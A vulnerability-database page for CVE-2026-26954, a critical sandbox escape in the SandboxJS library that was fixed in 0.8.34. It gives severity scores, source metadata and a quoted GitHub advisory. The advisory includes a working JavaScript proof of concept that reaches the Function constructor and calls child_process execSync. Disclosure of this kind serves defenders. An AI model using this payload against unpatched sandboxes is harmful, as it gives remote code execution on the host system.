CVE-2026-26954

criticalpriority · track · 0EPSS 0.006 · 46 %ileEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.56% (46th) EPSS
CVSS 10 · critical
Is it mine?
4 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · nvd

EPSS · scored 2026-10-26

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

01

cvss

Technical severity, 0–10. One row per scoring source.

10.0
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.110criticalAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 6
v3.110criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hsecondary · OSV
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-6r9f-759j-hjgvSandboxJS affected by a Sandbox Escape2026-03-13ghsa · osvUS

    ### Summary It is possible to obtain arrays containing `Function`, which allows escaping the sandbox. ### Details There are various ways to get an array containing `Function`, e.g. ```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ``` Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox. ### PoC ```js const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run(); ``` ### Impact Sandbox Escape -> RCE

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-03-13modified 2026-06-17
08

references (4)

External citations — patches, advisories, analysis.

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